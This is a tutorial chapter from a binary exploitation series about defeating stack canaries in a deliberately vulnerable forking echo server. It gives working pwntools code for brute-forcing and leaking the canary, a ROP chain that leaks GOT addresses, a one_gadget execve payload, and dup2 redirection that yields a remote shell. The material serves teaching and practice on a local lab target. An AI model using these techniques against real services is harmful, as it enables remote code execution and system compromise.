Binary Exploitation Series (6): Defeating Stack Cookies
Today we are going to defeat stack cookies in two different ways. We have access to the binary and we need to leak some information about its environment to write our exploit. As always, you can download the challenge.
This time we have stack cookies (Canary: Yes
) enabled.
gef➤ checksec
[+] checksec for './cookies'
Canary : Yes → value: 0xf28cd8655c310f00
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
ASLR is activated ;-)
Stack Cookie Protection
We’ll start by understanding what a stack cookie/canary is and what it protects. In general, a stack cookie is a randomly chosen value (4 or 8 bytes long) which is always put before the saved base pointer on the stack. Before a function returns the stack cookie will always be checked for correctness. If it is modified a program will just crash and a possible malicious code won’t be executed.
This gives us a certain amount of security if a stack buffer overflow occurs because it protects us against control over the return address of the program. But there are multiple problems with stack cookies.
The first problem is that we can still overflow all variables which are between our buffer and the stack cookie. Second, if the program forks it is possible to leak the stack cookie because it has the same value in each child process. Third problem, if the target does not have a classic buffer overflow e.g. a format string vulnerability or a relative write out of bounds via an array, we could still bypass the stack cookie and write directly to certain addresses. So, stack cookies are somewhat good protection against non-forked programs with stack buffer overflow vulnerabilities but for other scenarios, this protection is easy to bypass.
Note, that stack cookies always have a null byte as the least significant byte because some functions will stop reading data if a null byte is sent. Therefore, an attacker would not be able to brute force or even send a stack cookie, if it is known, because the function would stop reading at the null byte.
Target
The target is again very simple. We have a basic socket server that can handle multiple connections and therefore spawns child processes (fork) for each request. The vulnerability is in the function serve
by reading 2048 bytes into a 1024 buffer.
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <netinet/tcp.h>
//gcc -m64 cookies.c -o cookies -no-pie
void serve(int sock)
{
char buffer[1024];
// recv data
recv(sock, buffer, 2048, 0);
// send the message back
send(sock, buffer, strlen(buffer), 0);
}
int main(int argc, char *argv[])
{
int sockfd, newsockfd, portno, clilen;
struct sockaddr_in serv_addr, cli_addr;
int n, pid;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
{
perror("ERROR opening socket");
exit(1);
}
bzero((char *)&serv_addr, sizeof(serv_addr));
portno = 1234;
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
{
perror("ERROR on binding");
exit(1);
}
listen(sockfd, 3);
clilen = sizeof(cli_addr);
while (1)
{
newsockfd = accept(sockfd, (struct sockaddr *)&cli_addr, &clilen);
if (newsockfd < 0)
{
perror("ERROR on accept");
exit(1);
}
pid = fork();
if (pid < 0)
{
perror("ERROR on fork");
exit(1);
}
if (pid == 0)
{
close(sockfd);
write(newsockfd, "Welcome to the best echo service in the world!\n", 47);
serve(newsockfd);
send(newsockfd, "Goodbye!\n", strlen("Goodbye!\n"), 0);
close(newsockfd);
exit(0);
}
else
{
close(newsockfd);
}
}
}
Analysis
We’ll start our exercise by executing the binary with ./cookies
and we try to connect with nc localhost 1234
to get a first impression of the software.
nc localhost 1234
Welcome to the best echo service in the world!
Test
Test
Goodbye!
Okay, we can enter some text which is saved to the buffer. We enter an arbitrary string and we can overflow the buffer of 1024 bytes.
Let’s start playing around!
Attach gdb
to the process:
gdb -q ./cookies
gef➤ set follow-fork-mode child
gef➤ !pidof cookies
<pid>
gef➤ attach <pid>
gef➤ continue
We set the option follow-fork-mode child
to debug the child process if the master process forks. After that, we attach to the process of the master process by using the command !pidof cookies
to get the process ID and the command attach <pid>
to attach to the process.
To begin our analysis, we start writing our exploit with python. First, we connect to the remote target and send our payload.
from pwn import *
r = remote("localhost", 1234)
r.clean()
r.sendline("A"*5000)
r.interactive()
Let’s look into gdb
:
[#0] Id 1, Name: "cookies", stopped, reason: SIGABRT
....
gef➤ backtrace
#0 __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1 0x00007fb6b9ded801 in __GI_abort () at abort.c:79
#2 0x00007fb6b9e36897 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7fb6b9f63988 "*** %s ***: %s terminated\n") at ../sysdeps/posix/libc_fatal.c:181
#3 0x00007fb6b9ee1cd1 in __GI___fortify_fail_abort (need_backtrace=need_backtrace@entry=0x0, msg=msg@entry=0x7fb6b9f63966 "stack smashing detected") at fortify_fail.c:33
#4 0x00007fb6b9ee1c92 in __stack_chk_fail () at stack_chk_fail.c:29
#5 0x0000000000400985 in serve ()
#6 0x4141414141414141 in ?? ()
#7 0x4141414141414141 in ?? ()
#8 0x4141414141414141 in ?? ()
....
We got a SIGABRT
and the reason for that seems to be a wrong stack cookie (#4 0x00007fb6b9ee1c92 in __stack_chk_fail ()
).
Let’s examine the crash in detail. The item #5
of the back trace gives us a first indicator from where this __stack_chk_fail
function is called. To find out what is happening we disassemble the serve
function.
gef➤ disassemble serve
Dump of assembler code for function serve:
0x0000000000400907 <+0>: push rbp
0x0000000000400908 <+1>: mov rbp,rsp
0x000000000040090b <+4>: sub rsp,0x420
0x0000000000400912 <+11>: mov DWORD PTR [rbp-0x414],edi
0x0000000000400918 <+17>: mov rax,QWORD PTR fs:0x28
0x0000000000400921 <+26>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400925 <+30>: xor eax,eax
0x0000000000400927 <+32>: lea rsi,[rbp-0x410]
0x000000000040092e <+39>: mov eax,DWORD PTR [rbp-0x414]
0x0000000000400934 <+45>: mov ecx,0x0
0x0000000000400939 <+50>: mov edx,0x800
0x000000000040093e <+55>: mov edi,eax
0x0000000000400940 <+57>: call 0x400730 <recv@plt>
0x0000000000400945 <+62>: lea rax,[rbp-0x410]
0x000000000040094c <+69>: mov rdi,rax
0x000000000040094f <+72>: call 0x400750 <strlen@plt>
0x0000000000400954 <+77>: mov rdx,rax
0x0000000000400957 <+80>: lea rsi,[rbp-0x410]
0x000000000040095e <+87>: mov eax,DWORD PTR [rbp-0x414]
0x0000000000400964 <+93>: mov ecx,0x0
0x0000000000400969 <+98>: mov edi,eax
0x000000000040096b <+100>: call 0x400780 <send@plt>
0x0000000000400970 <+105>: nop
0x0000000000400971 <+106>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400975 <+110>: xor rax,QWORD PTR fs:0x28
0x000000000040097e <+119>: je 0x400985 <serve+126>
0x0000000000400980 <+121>: call 0x400760 <__stack_chk_fail@plt>
0x0000000000400985 <+126>: leave
0x0000000000400986 <+127>: ret
End of assembler dump.
Okay, we see at serve+17
and serve+26
that the stack cookie is loaded from fs:0x28
and it is put before the saved base pointer (rbp-0x08
) on the stack. At the end of the function (serve+106
) the saved stack cookie will be loaded and then compared with the original stack cookie at fs:0x28
. If the stack cookie matches the original stack cookie a jump will be taken to the leave
instructions and the function returns. If the stack cookie is corrupt then the __stack_chk_fail
function will be called and the program aborts.
Our goal now is to leak the stack cookie to be able to overwrite the return address of the serve
function. For that, we have to find out the offset to rbp-0x08
from our input buffer. We put a breakpoint on serve+110
, send a cyclic pattern via pwntools
and compute the offset with the value in rax
.
gef➤ breakpoint *serve+110
Breakpoint 1 at 0x400975
gef➤ continue
...
$rax : 0x6161616a61616169 ("iaaajaaa"?)
...
The offset is 1032 bytes. We can verify the offset by sending 1032 bytes of A
and one B
. Perfect:
$rax : 0xf28cd8655c310f42
(The value should be different because the cookie is randomly chosen)
Since this is an echo service, we have now two possible ways to leak a stack cookie.
Brute Force Method
The idea for brute force is that we guess each byte of the stack cookie until we got all 8 bytes. To successfully do that, we need to distinguish between normal behavior and wrong behavior of the execution.
If we are sending B
we are not getting a Goodbye!
message from the application because it aborts before exiting the process in an intended way. If we are sending a null byte \x00
then the application is normally exiting and we are getting the Goodbye!
message. This is all we need to distinguish between the two states of the application.
A brute force is visualized in the next figure where the red part is the static payload and the green values are our guesses for each byte. The response of the target could either be EOF - End Of File
(wrong guess) or the correct message Goodbye!
(correct guess, move to the next byte).
Let’s write a brute force method for the stack cookie. You can verify the stack cookie with gdb
and a breakpoint at serve+110
. Or you attach gdb
to the process and type checksec
which will print the stack cookie (feature of gef
).
Please try it on your own first because the method is straightforward. If you get stuck you can still peek into the solution.
def brute_canary(msg, host, port):
log.info("Brute force started...")
context.log_level = "error" # ignore info. It would spam with "open connection" "connection closed"
canary = b"\x00"
for canary_byte in xrange(len(canary), 8): # guess 8 bytes for a 64-bit program
for value in xrange(256): # guess values from 0-255
while 1:
try:
io = remote(host, port)
break
except: # device busy exception, too many requests
print("[!] Connection attempt failed. New attempt in 1 second...")
time.sleep(1)
io.clean()
io.send(msg + canary + pack(value, 8))
response = ""
try:
response = io.recvuntil("Goodbye!")
except EOFError:
pass
finally:
io.shutdown()
io.close()
if "Goodbye!" in response: # correct guess
canary += pack(value, 8)
print("[+] [%s] = %s" % (str(canary_byte), hex(value)))
break
context.log_level = "info" # enable info logging again
canary = u64(canary)
log.info("Stack cookie is %s" % hex(canary))
return canary
canary = brute_canary("A"*1032, "localhost", 1234)
Leak via Write
For this challenge a direct leak is possible and very simple. Since we can write past the input buffer and the stack cookie is directly behind it, we can simply overwrite the null byte of the stack cookie to print more data (strlen
will return a bigger value). Then we have to parse the returned value. In the case of a null byte in the stack cookie itself we can just repeat the same function with a different offset until we get at least 8 bytes (the size of the stack cookie in 64-bit systems).
Again, try it on your own first!
Here is a function which leaks the stack cookie:
def leak_canary(offset, host, port, leaked_data=""):
io = remote(host, port)
io.clean()
io.send("A"*offset+"B") # overwrite null byte with B to read more bytes ;-)
response = bytearray("")
try:
while 1:
response += bytearray(io.recv(1))
except EOFError:
pass
response = response[offset:]# remove A's
response[0] = "\x00" # Replace B with the original null byte
if len(leaked_data) + len(response) >= 8:
log.info("Got enough data..")
leaked_data = str(leaked_data + response)
stack_cookie = u64(leaked_data[:8])
log.info("Stack cookie is %s" % hex(stack_cookie))
return stack_cookie
else:
return leak_canary(offset+len(response), host, port, response) # if a second null byte is in the canary you will have to leak more data
io.shutdown()
io.close()
canary = leak_canary(1032, "localhost", 1234)
python exploit.py
[+] Opening connection to localhost on port 1234: Done
[*] Got enough data..
[*] Stack cookie is 0xf28cd8655c310f00
Exploit Development
For further analysis of the target, we can use the leak function or a hard-coded stack cookie because the value does not change.
If we want to use the leak function, we have to add a raw_input
between the canary leak and the rest of the code to pause the execution of the script (or use pause()
of pwntools
). This will allow us to attach the debugger to the process. Then we will send a cyclic pattern and get the offset to the return address. (you could also use gdb.attach
of pwntools)
python exploit.py
[+] Opening connection to localhost on port 1234: Done
[*] Got enough data..
[*] Stack cookie is 0xfead3e7449a42700
Attach now!
We got an offset of 8 which does make sense because there is only the saved base pointer in between.
0x00007ffe38898ef8│+0x0000: 0x4343434343434343 ← $rsp
Our next steps:
- Leak
GOT
addresses to identify libc version - Compute libc base address
- Get one shot gadget to get a shell
- Redirect stdout/stdin to sockets
- Shell :-)
To leak libc function addresses of the GOT
we do the same thing as in Chapter 4
. This time with write
instead of puts
. The third parameter is already set to 0x408
(the length of strlen()
) and therefore we are lucky because we don’t have a suitable gadget to set rdx
.
The file descriptor of the used socket can be obtained via shell commands:
gef➤ info proc
process 49928
cmdline = './cookies'
cwd = '/BinaryExploitationSeries/Chapter 6'
exe = '/BinaryExploitationSeries/Chapter 6/cookies'
gef➤ !ls -l /proc/49928/fd
total 0
lrwx------ 1 work work 64 Dez 4 14:11 0 -> /dev/pts/3
lrwx------ 1 work work 64 Dez 4 14:11 1 -> /dev/pts/3
lrwx------ 1 work work 64 Dez 4 14:11 2 -> /dev/pts/3
lrwx------ 1 work work 64 Dez 4 14:11 4 -> 'socket:[370150]' # <---- fd = 4
Now we have to put everything together.
def leak_function_address(host, port, canary, challenge_elf, function_name, count):
payload = ''.join( ["A"*count + "\x00"*(1032-count), # set rdx to leak only 'count' bytes (strlen(input) == count) ;-)
p64(canary),
"B"*8, # saved base pointer
p64(0x0000000000400b83), # pop rdi ; ret
p64(4), # fd = 4 = socket
p64(0x0000000000400b81), # pop rsi ; pop r15 ; ret
p64(challenge_elf.got[function_name]), # address of recv in GOT
"A"*8, # dummy
p64(challenge_elf.symbols["write"]),
])
.... # send, receive and parse like last time ;-)
Now we can leak a few functions and identify the libc version via libc.blukat.me.
recv_leaked = leak_function_address("localhost", 1234, canary, challenge_elf, "recv", 8) # __recv
fork_leaked = leak_function_address("localhost", 1234, canary, challenge_elf, "fork", 8) # fork
.....
[+] Opening connection to localhost on port 1234: Done
[*] recv @ 0x7fb6b9ecfa00
[+] Opening connection to localhost on port 1234: Done
[*] fork @ 0x7fb6b9e91a50
# -> libc6_2.27-3ubuntu1_amd64
# Compute libc base as in chapter 4
Now, we know the used libc version on the server. Let’s get a one gadget and try to exploit it!
one_gadget <identified libc>
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Add another raw_input()
to pause the execution and put another payload into the script.
payload = ''.join( ["\x00"*(1032),
p64(canary),
"B"*8, # saved base pointer
p64(libc_base + 0x4f322), # execve
"\x00"*150 # to meet our constraint -> rsp + 0x40 == NULL
])
Then attach the debugger before execve
is triggered … Perfect! We executed a shell.
gef➤ c
Continuing.
process 50645 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x400986
gef➤ detach
Detaching from program: /bin/dash, process 50645
Last problem for today is that we cannot interact with the shell because it will use stdout/stdin and not our socket file descriptor. Therefore, we have to redirect stdout (1) and stdin (0) file descriptors to the socket file descriptor (4). Luckily, there is a function called dup2
which does that for us. :-)
Let’s extend our small rop chain to call dup2 for stdin and stdout.
payload = ''.join( ["\x00"*(1032),
p64(canary),
"B"*8, # saved base pointer
p64(0x0000000000400b83), # pop rdi ; ret
p64(4), # old fd
p64(0x0000000000400b81), # pop rsi ; pop r15 ; ret
p64(0), # new fd
"A"*8, # dummy
p64(libc_base + libc_elf.symbols["dup2"]),
p64(0x0000000000400b83), # pop rdi ; ret
p64(4), # old fd
p64(0x0000000000400b81), # pop rsi ; pop r15 ; ret
p64(1), # new fd
"A"*8, # dummy
p64(libc_base + libc_elf.symbols["dup2"]),
p64(libc_base + 0x4f322),
"\x00"*150
])
Final exploit (This time without the complete source. Follow along to get a working exploit!):
python exploit.py
[*] Got enough data..
[*] Stack cookie is 0xfead3e7449a42700
[*] Leaking libc function addresses via GOT ...
[*] Leaked: recv @ 0x7fb6b9ecfa00
[*] Leaked: fork @ 0x7fb6b9e91a50
[*] Computing libc base address in memory...
[*] Libc base @ 0x7fb6b9dad000
[*] Spawning shell...
[*] Switching to interactive mode
$ ls
cookies
cookies.c
exploit.py
Great! We popped a shell and we can now defeat stack cookies!
Next time, we will activate more protections and we will try to bypass all of them!
Happy Hacking!